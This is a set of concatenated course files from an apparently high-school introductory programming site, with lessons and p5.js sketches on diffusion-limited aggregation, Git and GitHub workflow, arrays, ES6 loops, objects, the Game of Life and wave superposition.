Now let's get to the meat. In order for DLA to work we need to code a way for aggregation to happen. For now, let's keep it simple by saying if a walker touches a static walker, then it aggregates. I real life there may be other ways of thinking about this, but we can address that later. As we saw before we can check for collisions by checking to see if the distance between the two centers is `<=` to the sum of their radii. If this is true, then the walker becomes stuck.
```javascript
aggregate(other){
let d = dist(this.x, this.y, other.x, other.y)
let sumOfRadii = this.r + other.r
let collide = d <= sumOfRadii
if (collide){
this.static = true;
}
}
```
But let's try to be smart about this. The only time we actually need to check for aggregation is if the walker in question is not stuck and the walker we're checking against is static, i.e. `!this.static && other.static` Let's rewrite the method above.
```javascript
aggregate(other){
if(!this.static && other.static){
let d = dist(this.x, this.y, other.x, other.y)
let sumOfRadii = this.r + other.r
let collide = d <= sumOfRadii
if (collide){
this.static = true;
}
}
}
```
<iframe width="640" height="240" frameborder="0" src="https://editor.p5js.org/mdarfler/embed/GhNN4rIYI"></iframe>
And there you go. Now there is a **a lot** of ways to improve on this but the basic structure is certainly there. Things to consider:
1. How do you keep the walkers from walking off the screen
1. Are the walkers repelled or attracted from/to anything?
1. How can you reduce the computational complexity of the code so that it doesn't have to check as many different balls by creating two separate arrays, one for walkers and one for static?
1. What happens if there is a probability of aggregation other than 100%
1. What if there are multiple seeds?
1. What if the seed is a line, or a circle, or some irregular curve?

## Video Explanation from Shiffman
BE WARNED! This video uses vectors which we haven't covered yet.
<iframe width="640" height="340" src="https://www.youtube.com/embed/Cl_Gjj80gPE" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## Video Explanation from <NAME>
<iframe width="640" height="340" src="https://www.youtube.com/embed/U12QdvaglXM" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe><file_sep>---
title: Let's Get Started!
---
# Let's Go!
In order to get started you will need to sign up for a couple of different services that we will be using throughout the semester.
## Google Classroom
The first one is [Google Classroom](http://classroom.google.com). You'll need to navigate over to the classroom landing page and add a new classroom and join a new class with the code
<h2 style="text-align: center;"> kwingq7 </h2>
[](http://classroom.google.com)
## [Github](http://www.github.com)
[Github](https://www.github.com) is an online version control platform used by many programmers, groups, startups, and businesses across the world. With this platform, keeping track of your code, sharing it with others, and collaboration is a breeze. This will be where we keep all of our code for the semester.
1. Navigate to [github](https://www.github.com) and signup for an account. For your user name I would recommend using the first part of your FCS email address if possible. If not, use something simple and descriptive. For your email, please use your FCS email.<br>
<br>
2. Follow the steps to verify your account<br>
<br>
3. Choose the "Free" account option<br>
<br>
4. Tailor your experience if you'd like<br>
<br>
5. Don't forget to verify your account via email.
## Visual Studio Code
Download AND install [Visual Studio Code](https://code.visualstudio.com/download) on your computer. If you're interested in learning a bit more about it check out this video
<iframe width="560" height="315" src="https://www.youtube.com/embed/BCQHnlnPusY" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## Optional, but encouraged - [Codesandbox.io](http://www.codesandbox.io)
Codesandbox is a great online editor that integrates nicely with github. In order to get started you'll need to:
1. Navigate to [codesandbox](https://www.codesandbox.io)<br>
<br>
2. Click signup and then singup with github.<br>
<br>
3. and authorize Codesandbox to work with Github.<br>
<br>
4. If all goes well you should be at your dashboard.<br>
<br>
## Optional, but encouraged - By Our Powers Combined!
let's try something awesome.
1. Navigate to https://codesandbox.io/s/github<br>
<br>
2. enter "https://github.com/Mr-Darfler/p5js-template.git" where it ask for the git url and press "Create Sandbox"
<br>
3. Wahoo! you have some pre filled code that you can work with.
<br>
## Not optional - [Reflective Journal](https://docs.google.com/forms/d/e/1FAIpQLSe2lwJSUII3sA34K1oSV23--1zmGNzt8fT5t7re55wSVcESjg/viewform)
Lastly, take a minute to tell me a little something about your previous experience with computers and coding. Some of you may have already seen this before in 8th grade, but I still want to know how your relationship with coding and computers has changed.
<iframe src="https://docs.google.com/forms/d/e/1FAIpQLSe2lwJSUII3sA34K1oSV23--1zmGNzt8fT5t7re55wSVcESjg/viewform?usp=pp_url&entry.1842924193=8th+CS+Rotation" width="600" height="2100" frameborder="0" marginheight="0" marginwidth="0">Loading...</iframe>
<file_sep>---
layout: index
published: true
---
# Welcome to _Introduction to Computer Science_
**Huzzah!** If you've reached the page that means you're probably taking Introduction to Computer Science at Friends' Central School during the first semester of the 2018/2019 school year. Although, perhaps you're just a curious individual who is looking to learn more about programming. In either case, welcome.
## How to use this site
The main intent for this website is to provide a set of learning modules that will take you through some basic programming using [p5.js](http://www.p5js.org). p5 is based on [Processing](http://www.processing.org), a Java IDE designed for artists and creative types. p5.js is a JavaScript library that makes drawing, interaction, and audio easy to do, online.
## About the teacher
||Here is some long and lengthy information about me and what I do, and why I like computers and programming, etc. ect. blah blah blah |
## Syllabus
<iframe width="760" frameborder="0" height="1200" src="https://docs.google.com/document/d/e/2PACX-1vTnNiI85SxwytLLwded3NG1CxhXm_GtoL0CUkPuUDFbeicH7Q7DRcTFUxCxuJUDv7-F05xvGqlQKJgT/pub?embedded=true"></iframe>
<file_sep>---
title: 'Branch and Commit'
---
#{{page.title}}
When working collaboratively on a code repository, it's critical that we maintain a working main branch at all times. tinkering directly with the main branch is generally not such a good idea. A better idea is to create a branch and work on that until you are satisfied with the changes and then bring them back into the master branch.
In this exercise we will be working with the [cs2-student-files](http://www.github.com/fcs-cs/cs2-student-files) to create a list of the best ice cream flavors. Right now, the cs2-student-files lives on github as a `remote` repository. You can edit the files directly on github.com but we'd like to be able to work with them locally on our computer.
Perviously you `forked` the repository into your own github account which is a great way to work, for those outside of an organization to help out. However, assuming we are all working together on a project you can gain direct access to the repository. In this instance we will start by making a `clone` instead.
## Cloning a Repo.
Cloning a repo is the process by which you download a repository to your computer so that you can work on them locally. This is a pretty simple process which the video below will explain
<iframe width="560" height="315" src="https://www.youtube.com/embed/9eZYcPL7tUk" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
Simple, eh? Let's keep going
## Branch and Commit
Let's say that you're in charge or adding some new piece of functionality to the code base. The first thing you would do, according to the github flow, would be to create a branch. However, since we are all collaborating on making this list of great ice cream flavors, I've gone ahead and made a branch called **"ideas"** which you can `checkout` at the bottom of the screen.

Now that we have the branch we can go make our changes. The video below shows the process
<iframe width="600" height="340" src="https://www.youtube.com/embed/_zWxx7itva0" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## Did it work as you expected?<file_sep>---
title: 'Simulating the Natural World'
---
# {{page.title}}
Let's take some time to talk about what are goals are for this semester. As I see it, there are three different goals that we will be working on simultaneous. abstract skills, concrete skills, and concepts.
## Abstract skills
The first set of goals for this class is to develop a set of abstract skills that you can carry with you into different domains. These are the ability to:
- analyze
- deconstruct
- assess
- collaborate
- improve
## Concrete Skills
Concrete skills are related to know how when it comes to coding. The skills that we will address in this class are:
- git
- objects and classes
- lists and arrays
- ES6
- vectors
- strings
## Concepts
Conceptually we will examine:
- version control
- top down simulations
- bottom up simulations
- stochasticity
- Encoding and encryption
- Data Analysis
## Projects
We will address all of these areas of inquiry through projects. Many of them will be collaborative as the scope of these problems may be beyond the skills of any one person. Also, people rarely work in isolation and learning to collaborate on code is an extremely useful tool. The projects we will undertake are:
- Collaborative Poetry
- git, version control, collaboration, improve
- Cellular Automata
- deconstruct, assess, bottom up design, lists and arrays, ES6
- Hunter and Prey simulation
- assess, bottom up design, classes and objects, stochasticity, data analysis
- Solar System Simulation
- analyze, vectors, objects and classes, arrays, top down design
- Sending secrete messages
- Encoding and encryption, strings, improve.
<file_sep>---
title: Game of Life, An Introduction
published: true
---
# {{page.title}}

<p class = "caption"> <NAME> is a British mathemetician who's interests include knot theory, number theory and combinatorics. Perhaps one of his best known contributions is in the field of cellular automata with something called the "Game of Life." Above is an example of some of the complexity that can be created with the Game of Life </p>
## Simple rules. Surprising results
The beauty of the Game of life is that the rules for the world are very simple, yet there is a surprising amount of complexity and variety that emerges. The following video shows some of the amazing things that have been created from the game of life. The following video from <NAME> helps to explain what the Game of Life is all about. You need watch only the first 8mins
<iframe width="560" height="315" src="https://www.youtube.com/embed/tENSCEO-LEc?end=481" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## Reading
Read section [7.6 - Game of Life](https://natureofcode.com/book/chapter-7-cellular-automata/) from Shiffman's Nature of Code
## Comprehension Check
<iframe src="https://docs.google.com/forms/d/e/1FAIpQLScD8OSy7lBSmUpkQCTn3RDKk47Zo518hiDoOEzetFnvR5oxtA/viewform?embedded=true" width="640" height="1731" frameborder="0" marginheight="0" marginwidth="0">Loading...</iframe>
## In Class:
Go to [Game of Life](https://bitstorm.org/gameoflife/) and try playing around with the simulation. What do you notice? Can you predict the behavior of a configuration before the simulation starts?<file_sep>---
title: 'Discussion and Merging'
published: false
---
# {{page.title}}
<iframe width="560" height="315" src="https://www.youtube.com/embed/Qnp40aoVvI4" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## Managing with conflicts
<iframe width="600" height="340" src="https://www.youtube.com/embed/H_R5JBsGdBY" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe><file_sep>---
title: 'Merge Conflict Resolution'
published: false
---
#{{page.title}}
Ah, if only it were that easy! If you're the only person working on a branch, you should probably never have a problem commiting and pushing your work to the `remote` repository. But sometimes collaboration is hard and conflicts arise. If you were following along and you got an error when you tried to `push` your commits back to github, you're not alone.
## Merge Conflicts
When two people edit the same line of a file and try to merge the two together, git give your a merge conflict error. This is exactly what git is good at. Finding differences and similarities between two files and mangaging their integrattion. The following video explains how to manage a merge conflict
<iframe width="600" height="340" src="https://www.youtube.com/embed/qxb3gyhqK9M" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe><file_sep>---
title: 'Branch, Commit, and Pull'
published: false
---
# {{page.title}}
Now that we have a copy of our code on our computer and we have access to github via VS Code we can go ahead and start making our edits.
1. **Branch** Branching is the process of creating a snapshot of a code repository at a particular point in time. This allows us to have the most up to date code, and then make changes and work on new ideas without worring about messing with our master code base. It is good practice **not** to make commits directly to the master branch, but rather to make a project branch and pull the changes in.
2. **Commit** Once you have made a branch you can make all the changes you want to your branch of the code. When you're happy with your changes commit those changes to your branch. Make sure to use a good commit message.
3. **Pull Request** In order to begin the process of merging your changes from your branch back into master, you will need to make a pull request back to the master brach.
This video will show you the process of branching, making changes and commiting, and creating a pull request all inside of VS Code.
<iframe width="600" height="340" src="https://www.youtube.com/embed/l1CmUOA9Dpg" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## CC - Branch, Commit, and Pull
<iframe src="https://docs.google.com/forms/d/e/1FAIpQLSeuzqlWvq3YOPAgzSueYyJqLKPPdgrVvE7Th09o1Q92VYBKig/viewform?embedded=true" width="640" height="1426" frameborder="0" marginheight="0" marginwidth="0">Loading...</iframe>
## In Class
In class we'll start the process of working the github flow<file_sep>class drawSine {
constructor(_hz, _amp, _phase) {
this.freq = _hz;
this.amp = _amp;
this.phase = _phase;
this.yVals = []
for(let t = 0; t < width; t++){
let mapt = map(t,0,width,0,TWO_PI);
const yVal = this.amp * sin(this.freq * mapt + this.phase);
this.yVals.push(yVal);
}
}
display(x, y) {
push();
noFill();
translate(x, y)
stroke(200);
strokeWeight(1)
line(0,0,width,0)
stroke(0)
strokeWeight(2)
for (let i = 0; i < width - (x+1); i++) {
line(i,this.yVals[i],i+1,this.yVals[i+1])
}
pop();
}
}
class agrWave {
constructor(_sineArray){
this.sineArray = _sineArray
this.sumOfSines = new Array(width).fill(0);
this.normalizedAmplitude = 0;
for(let wave of this.sineArray){
this.normalizedAmplitude += wave.amp
}
this.normalizedAmplitude = this.normalizedAmplitude/(this.sineArray.length*2)
for(let i = 0; i< this.sineArray.length; i++){
for(let j = 0; j< width; j++){
this.sumOfSines[j] += this.sineArray[i].yVals[j]
}
}
}
display(x,y){
push()
translate(x,y);
stroke(200);
line(0,0,width,0)
stroke(0);
strokeWeight(2);
noFill();
for(let t = 0; t < this.sumOfSines.length - 1; t++){
line(t,this.sumOfSines[t],t+1,this.sumOfSines[t+1])
}
pop();
}
}<file_sep>---
title: The Law of Superposition
---
# {{page.title}}

<p class="caption">http://www.mysearch.org.uk/website1/images/animations/229.anim1.gif</p>
>“For all linear systems, the net response caused by two or more stimuli is the sum of the responses that would have been caused by each stimulus individually.”
What does this mean? Algebraically this can also be written that _f(x<sub>1</sub> + x<sub>2</sub>) = f(x<sub>1</sub>) + f(x<sub>2</sub>)_ or in otherwords the result of any two or more functions acting together is the sum of each of their actions. While this is true of any linear system, we're particullarly interested in the ways in which waves are summed together.
## What is sound?
Sound is a a pressure wave traveling through a medium, usually air. When that pressure wave is sinusoidal (like a wave) we perceive that as a tone. A pure tone is a wave propogating through space with a fixed frequency, or cycles per second. For example a soundwave with a frequency of 440hz is what we call an A in music. When two tones are played together they make a harmony. When the two waves are in ratio with eachother the harmony is pleasant, but if they are not it can sound dissonant. But how do we preceive those two waves?
<iframe src="https://docs.google.com/presentation/d/e/2PACX-1vTcKUuqPi8tYBC8p4bnRd0FYsxm0aj6Z9g_4e2JmP_LsyFzOjep9xknntkaZYoXgTGOGj0prBEDUYbp/embed?start=false&loop=false&delayms=3000" frameborder="0" width="960" height="569" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true"></iframe><file_sep>---
title: 'Github Flow'
published: true
---
# {{page.title}}
Git and Github are design to be flexible and suit the needs of individual coders and enterprise coders a like, which means that it can do **A LOT !** What that means is that its easy to get your self in to the weeds without making a lot of progress. Luckily, you're not the first person to use github, and there are some well established workflows that will help us all collaborate effectively with code. While there are many different workflows, in the class we will look at the basic "GitHub Flow"

<p class="caption"><a href="https://lucamezzalira.files.wordpress.com/2014/03/screen-shot-2014-03-08-at-23-07-361.png">lucamezzalir</a></p>
The GitHub workflow has 5 steps
1. Branch
2. Make Changes
3. Make Pull Request
4. Discussion
5. Merge
There is a great explaination on [GitHub's website](https://guides.github.com/introduction/flow/)
However, Before we get started there are a couple of important things that we have to do first.
### Install Git on your local computer
#### Installing on Linux
If you want to install the basic Git tools on Linux via a binary installer, you can generally do so through the package management tool that comes with your distribution. If you’re on Fedora (or any closely-related RPM-based distribution, such as RHEL or CentOS), you can use dnf:
`$ sudo dnf install git-all`
If you’re on a Debian-based distribution, such as Ubuntu, try apt:
`$ sudo apt install git-all`
For more options, there are instructions for installing on several different Unix distributions on the Git website, at http://git-scm.com/download/linux.
#### Installing on macOS
There are several ways to install Git on a Mac. The easiest is probably to install the Xcode Command Line Tools. On Mavericks (10.9) or above you can do this simply by trying to run git from the Terminal the very first time.
`$ git --version`
If you don’t have it installed already, it will prompt you to install it.
If you want a more up to date version, you can also install it via a binary installer. A macOS Git installer is maintained and available for download at the Git website, at http://git-scm.com/download/mac.
#### Installing on Windows
There are also a few ways to install Git on Windows. The most official build is available for download on the Git website. Just go to http://git-scm.com/download/win and the download will start automatically. Note that this is a project called Git for Windows, which is separate from Git itself; for more information on it, go to https://git-for-windows.github.io/.
To get an automated installation you can use the Git Chocolatey package. Note that the Chocolatey package is community maintained.
### [VSCode GitHub Pull Request Extension](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-pull-request-github)
> Review and manage your GitHub pull requests directly in VS Code
This extension allows you to review and manage GitHub pull requests in Visual Studio Code. The support includes:
- Authenticating and connecting VS Code to GitHub.
- Listing and browsing PRs from within VS Code.
- Reviewing PRs from within VS Code with in-editor commenting.
- Validating PRs from within VS Code with easy checkouts.
- Terminal integration that enables UI and CLIs to co-exist.

It's easy to get started with GitHub Pull Requests for Visual Studio Code. Simply follow these steps to get started.
1. Make sure you have VSCode version 1.27.0 or higher.
1. Download the extension from [the marketplace](https://aka.ms/vscodepr-download).
1. Reload VS Code after the installation (click the reload button next to the extension).
1. Open your desired GitHub repository.
1. Go to the SCM Viewlet, and you should see the `GitHub Pull Requests` treeview. On the first load, it will appear collapsed at the bottom of the viewlet.
1. A notification should appear asking you to sign in to GitHub; follow the directions to authenticate.
1. You should be good to go!
## CC - GitHub Flow Overview
<iframe src="https://docs.google.com/forms/d/e/1FAIpQLSeYIqHMNMJpHCqY5Vek1Nxz-ut1Kf17oAL07Sfg5XYuMtjzVw/viewform?embedded=true" width="640" height="1861" frameborder="0" marginheight="0" marginwidth="0">Loading...</iframe><file_sep>---
title: Arrays, an Introduction
published: true
---
# {{page.title}}
In order to start building a CA simulation we'll have to take a look at lists and arrays. In JavaScript, an array is a collection of things that can be stored in order and accessed in an orderly way.
### Initializing
Let's say we wanted to store a list of numbers corresponding to the temperature outside over the course of the day. In order to do that we'll need to **initialize** a new array we can do this in JS with the following
```
let temp = [];
```
If we do this we now have an empty array. If we want to initialize it with some values we could, instead write,
```
let temp = [28,29,33,36,36,37,36,34,30,27];
```
### Accessing values in an array
And we now have a list with 10 elements in it! And if I want to access an element in that list I can use the `[ind]` notation in order to return or set a value. Beware though, the first element in a list is at index 0, so if I want to get the 3rd element in a list I need to get the value at index 2. e.g.
```
temp[2]
> 33
```
### Modifying values in an array
If I want to change a value in the list I can use the same notation that I used for accessing a value. If I want to change the 9th element from 30 to 29 all I would have to do is type `temp[8] = 29` and voila.
### Adding values to an array
If we want to add values to an array we can use a handy method called `push()` By using the push method I can add a value to the end of a list. In our example, if I want to add the value 26 to the end of the list I can type `temp.push(29)` and we should now have a list with 11 elements in it. We can always check the length of our list with the `length()` property. Simply type `temp.length()` and it will return the length of the array.
There are many more methods that you can use with arrays which we'll cover later. If you are interested a complete list can be found on [Mozilla's website](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)
The following video explains things well.
<iframe width="560" height="315" src="https://www.youtube.com/embed/oigfaZ5ApsM?end=260" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
<file_sep>---
title: Enhanced Loops with ES6
---
# {{page.title}}
Here's a quick aside. By now you've probably written `for(let i = 0; i < array.length; i++) {blah, blah, blah...` approximately a bazillion times. As fun as it is, it's certainly a bit repetitive. If only there were a better way. Well thanks to ES6 there is! This lesson will cover two ways of iterating over an array without using `for(let i = 0; i < array.length; i++){}`
1. `for...of`
1. `array.forEach()`
## [`for...of`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of)
> The for...of statement creates a loop iterating over iterable objects, including: built-in String, Array, Array-like objects (e.g., arguments or NodeList), TypedArray, Map, Set, and user-defined iterables. It invokes a custom iteration hook with statements to be executed for the value of each distinct property of the object.
See the [mozilla documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of) for a more complete explanation
Let's assume that we have an array `bubbles` of bubble objects that have a `show()` and `move()` method and we want each call these methods for each element in the array. To start we have declare a `for` loop, define a variable for each element in the array then use the `of` keyword and then name the variable. After closing the `for` definition we create the code block with the functions we want to call for each element. e.g.
```javascript
for(let bubble of bubbles){
bubble.show();
bubble.move();
}
```
This is useful when we are doing the same thing on **every** element in the array. If we only want to execute this some part of the array you will still need to use the standard form of the `for` loop.
### Video Explanation
<iframe width="640" height="340" src="https://www.youtube.com/embed/Y8sMnRQYr3c" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## [array.forEach()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach)
This is technically an ES5 function but it's still worth taking a look at. It's a bit more abstract, but could save you some extra typing. The `forEach()` Array method can be invoked on any array. For the full documentation see the [Mozilla Foundation's website](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach). The method takes a `function` as an argument. That function defines what happens for each element in the array. Again, assuming an array `bubbles` we can accomplish the same things as above with the following code:
```javascript
bubbles.forEach(function(bubble) {
bubble.show();
bubble.move();
});
```
### Anonymous functions, aka the spooky arrow function.
Starting in ES6, JavaScript supports what are called **anonymous functions.** These are useful when you just need to make a simple function that doesn't quite rise to the occasion of a full blown function. In order to create one we use an arrow written `=>` to indicate its use. On the left hand side we enter in the arguments and on the right hand side we enter the function. We can accomplish the same thing above with the following:
```javascript
bubbles.forEach((bubble) => {
bubble.show();
bubble.move();
});
```
There's a lot more to learn about anonymous functions if you're interested. Shiffman has a good video on their use which you can watch below. This is extra credit.
<iframe width="640" height="340" src="https://www.youtube.com/embed/mrYMzpbFz18" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## Comprehension Check
<iframe src="https://docs.google.com/forms/d/e/1FAIpQLSeAhbftovMgSDlJJXezOgEs_6Iryw89EvdMBlfJrcSC_FSTVA/viewform?embedded=true" width="640" height="1229" frameborder="0" marginheight="0" marginwidth="0">Loading...</iframe>
<file_sep>---
title: 'GitHub Issues'
published: true
---
# {{page.title}}
Often, when developing a project, issues come up; a bug, a new feature, a new desing or layout, etc. Assuming you're working in a collaborative environment it would be useful to have a way of formally addressing and keeping track of these issues. Luckily every repo on GitHub has a section just for this, called "Issues"
>Issues are a great way to keep track of tasks, enhancements, and bugs for your projects. They’re kind of like email—except they can be shared and discussed with the rest of your team. Most software projects have a bug tracker of some kind. GitHub’s tracker is called Issues, and has its own section in every repository.

<p class="caption"><a href="https://guides.github.com/features/issues/navigation-highlight.png">mastering github issues</a></p>
## [Creating an Issue in github](https://help.github.com/articles/creating-an-issue/)
1. On GitHub, navigate to the main page of the repository.
1. Under your repository name, click Issues.
1. Click New issue.
1. If there are multiple issue types, click Get started next to the type of issue you'd like to open.
1. Type a title and description for your issue.
1. If you're a project maintainer, you can assign the issue to someone, add it to a project board, associate it with a milestone, or apply a label.
1. When you're finished, click Submit new issue.
## Discussion
When an issue is posted, it's good to get feedback from the community. The following is from [GitHub's guide to mastering issues](https://guides.github.com/features/issues/)
### @mentions
@mentions are the way that we reference other GitHub users inside of GitHub Issues. Inside of the description or any comment of the issue, include the @username of another GitHub user to send them a notification. This works very similar to how Twitter uses @mentions.
GitHub like to use the /cc syntax (an abbreviation for carbon copy) to include people in issues:
>It looks like the new widget form is broken on Safari. When I try and create the widget, Safari crashes. This is reproducible on 10.8, but not 10.9. Maybe a browser bug?
/cc @kneath @jresig
This works great if you know the specific users to include, but many times we’re working across teams and don’t really know who might be able to help us. @mentions also work for Teams within your GitHub organization. If you create a Team called browser-bugs under the @acmeinc organization, you can reference the team with @mentions:
> /cc @acmeinc/browser-bugs
This will send notifications to every member of the browser-bugs team.
References
Often times issues are dependent on other issues, or at least relate to them and you’d like to connect the two. You can reference issues by typing in a hashtag plus the issue number.
>Hey @kneath, I think the problem started in #42
When you do this, we’ll create an event inside of issue #42 that looks something like this:

<p class="caption"><a href = "https://guides.github.com/features/issues/reference.png">Screenshot of creating a reference</a></p>
Issue in another repository? Just include the repository before the name like `kneath/example-project#42`.
By prefacing your commits with “Fixes”, “Fixed”, “Fix”, “Closes”, “Closed”, or “Close” when the commit is merged into master, it will also automatically close the issue.
References make it possible to deeply connect the work being done with the bug being tracked, and are a great way to add visibility into the history of your project.
## In class
In the [cs2-student-files](http://www.github.com/fcs-cs/cs2-student-files) repo there is an issue called ["What is Best Flavor of Ice cream"](https://github.com/fcs-cs/cs2-student-files/issues/10) what I'd like you all to do is to try to use github to work collaboratively on deciding what the best ice cream flavor is.<file_sep>let current = []
const cellsize = 10;
const windowWidth = 600;
const windowHeight = 400;
const columns = Math.floor(windowWidth / cellsize)
const rows = Math.floor(windowHeight / cellsize)
let startstop, clear;
let running = 1
function setup() {
createCanvas(windowWidth, windowHeight);
stroke(0);
strokeWeight(1);
noStroke()
frameRate(10)
startstop = createButton('start/stop')
startstop.mousePressed(() => running = (running + 1) % 2)
clear = createButton('clear');
clear.mousePressed(reset)
for (row = 0; row < rows; row++) {
let temp = []
for (col = 0; col < columns; col++) {
if (random() < 0.1) {
temp.push(1)
} else {
temp.push(0);
}
}
current.push(temp)
}
}
function draw() {
display()
if (running) generate();
}
function display() {
for (let row = 0; row < rows; row++) {
for (let col = 0; col < columns; col++) {
if (current[row][col] == 0) {
fill(255);
} else {
fill(0);
}
rect(col * cellsize, row * cellsize, cellsize, cellsize)
}
}
}
function generate() {
let nextGen = []
nextGen.push(Array(columns).fill(0));
for (let row = 1; row < rows - 1; row++) {
let tempRow = [0]
for (let col = 1; col < columns - 1; col++) {
let neighbors = 0;
for (i = -1; i <= 1; i++) {
for (j = -1; j <= 1; j++) {
neighbors += current[row + i][col + j]
}
}
neighbors -= current[row][col]
let nextState;
if (current[row][col] == 1 && neighbors < 2) {
nextState = 0;
} else if (current[row][col] == 1 && neighbors > 3) {
nextState = 0;
} else if (current[row][col] == 0 && neighbors == 3) {
nextState = 1;
} else {
nextState = current[row][col];
}
tempRow.push(nextState);
}
tempRow.push(0);
nextGen.push(tempRow);
}
nextGen.push(Array(columns).fill(0))
current = nextGen
}
function mouseDragged() {
if (mouseX >= 0 && mouseX <= width && mouseY >= 0 && mouseY <= height) {
let xLoc = floor(mouseX / cellsize)
let yLoc = floor(mouseY / cellsize)
current[yLoc][xLoc] = (current[yLoc][xLoc] + 1) % 2
}
}
function startStop() {
running = (running + 1) % 2
}
function reset(){
current = Array(rows).fill(Array(columns).fill(0))
}<file_sep>---
title: Game of Life - Coding
---
# {{page.title}}
## Part 1 - display()
<iframe width="640" height="340" src="https://www.youtube.com/embed/hiJiAtcy4rY" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## Part 2 - applyRules()
<iframe width="640" height="340" src="https://www.youtube.com/embed/LzBnlrj5qAg" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## Part 3 - beyond()<file_sep>---
title: Programming with Objects
---
# {{page.title}}
Now that we've seen how to use functions and objects with JSON let's take a look at how you might use these two to program in JavaScript. In this lesson we will:
1. Start with some basic code for a randomly moving bubble
1. Create an object to hold data about the bubble
2. Include functionality in the bubble object to enable it to move and display
## Basic Sketch
Let's start with the code from the first lesson in this unit for creating a moving bubble.
<iframe src="https://editor.p5js.org/mdarfler/sketches/r1gcfazyr" width = "100%" height = "800" frameborder="0"></iframe>
## Creating a bubble object to store data using JSON
While it's easy to create the variables `x` and `y` to keep track of the bubble's x and y location, we want to associate that data with the bubble itself. In this way we create greater **intention.** In order to do this we need to create a bubble variable and assign an object that contains structured information using JSON to that variable. This can be achieved with the following code:
```javascript
let bubble;
function setup(){
createCanvas(200,200);
bubble = {
x:width/2,
y:height/2
}
}
```
However, if we run this, we're going to get errors because now, wherever we had the variable `x` and `y` we need to replace it with `bubble.x` and `bubble.y` because that data is now stored within the object called `bubble`. After doing so we should end up with something like the following sketch.
<iframe src="https://editor.p5js.org/mdarfler/sketches/vVETgK0HK" width = "100%" height = "800" frameborder="0"></iframe>
So as you can see, the functionality hasn't changed, just the structure of the sketch.
## Adding Functionality to the object.
We're nearly there, but we want to do one more thing, and that is to add functionality to our object. This bubble is more than just a collection of data. We want it to know how to draw itself onto the canvas and to move around the canvas. This functionality will be created by including functions with our object. These functions are called **methods**
The syntax for including methods with an object is a little byzantine but we'll see in the next lesson how we can accomplish this in an easier way. For now let's just stay focused on how to include methods and how to use them.
Let's start with a simple function that just writes to the console "hello" in order to include this in the bubble object we use the following syntax
```javascript
let bubble;
function setup(){
createCanvas(200,200);
bubble = {
x:width/2,
y:height/2,
hello:function(){
console.log('hello')
}
}
bubble.hello();
}
```
notice that when we want to call the method we have to include `()` after the method name.
### this.
Easy enough! Now let's add a method that's going to move the bubble around the screen. We may be tempted to do something like this:
```javascript
let bubble;
function setup(){
createCanvas(200,200);
bubble = {
x:width/2,
y:height/2,
hello:function(){
console.log('hello')
},
move:function(){
x += random(-5,5);
y += random(-5,5);
}
}
bubble.hello();
}
```
But this won't work. `x` and `y` are no longer variables that can be accessed globally. Instead they are associated with the bubble object. So how about `bubble.x += random(-5,5)`? No go again. `bubble.x` doesn't exist yet because we're still creating the bubble object when we are defining the method `move()`. To get around this, JS has created the key word `this` as in `this` object's `x` and `this` object's `y`.
```javascript
let bubble;
function setup(){
createCanvas(200,200);
bubble = {
x:width/2,
y:height/2,
hello:function(){
console.log('hello')
},
move:function(){
this.x += random(-5,5);
this.y += random(-5,5);
}
}
bubble.hello();
}
```
We can also add a `display()` method to the object and call them up using the same dot notation as before and we're left with something that looks like this.
<iframe src="https://editor.p5js.org/mdarfler/sketches/6Sq3gmvm8" width = "100%" height = "800" frameborder="0"></iframe>
While this is all fine and dandy, I think we've actually made our sketch *more* confusing. But don't worry, we'll see how to clean this up in the next unit.
## Video Explanation
If you'd like a video explanation of the code please watch the following.
<iframe width="640" height="340" src="https://www.youtube.com/embed/bQC0Z33AxKw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## [Comprehension Check](https://docs.google.com/forms/d/e/1FAIpQLSfmhhUhw_d9Q-PyNjgztwPFpb87q-xdhXQSdfqZfIdqzuaksg/viewform)
<iframe src="https://docs.google.com/forms/d/e/1FAIpQLSfmhhUhw_d9Q-PyNjgztwPFpb87q-xdhXQSdfqZfIdqzuaksg/viewform?embedded=true" width="100%" height="2298" frameborder="0" marginheight="0" marginwidth="0">Loading...</iframe><file_sep>let pos, vel, grav, trail;
function setup() {
frameRate(15);
createCanvas(400, 200);
pos = createVector(0, height);
vel = createVector(3, -6);
grav = createVector(0, 0.1);
trail = [];
trail.push([pos.x, pos.y])
}
function draw() {
background(220);
fill(100);
drawTail();
fill(255,0,200);
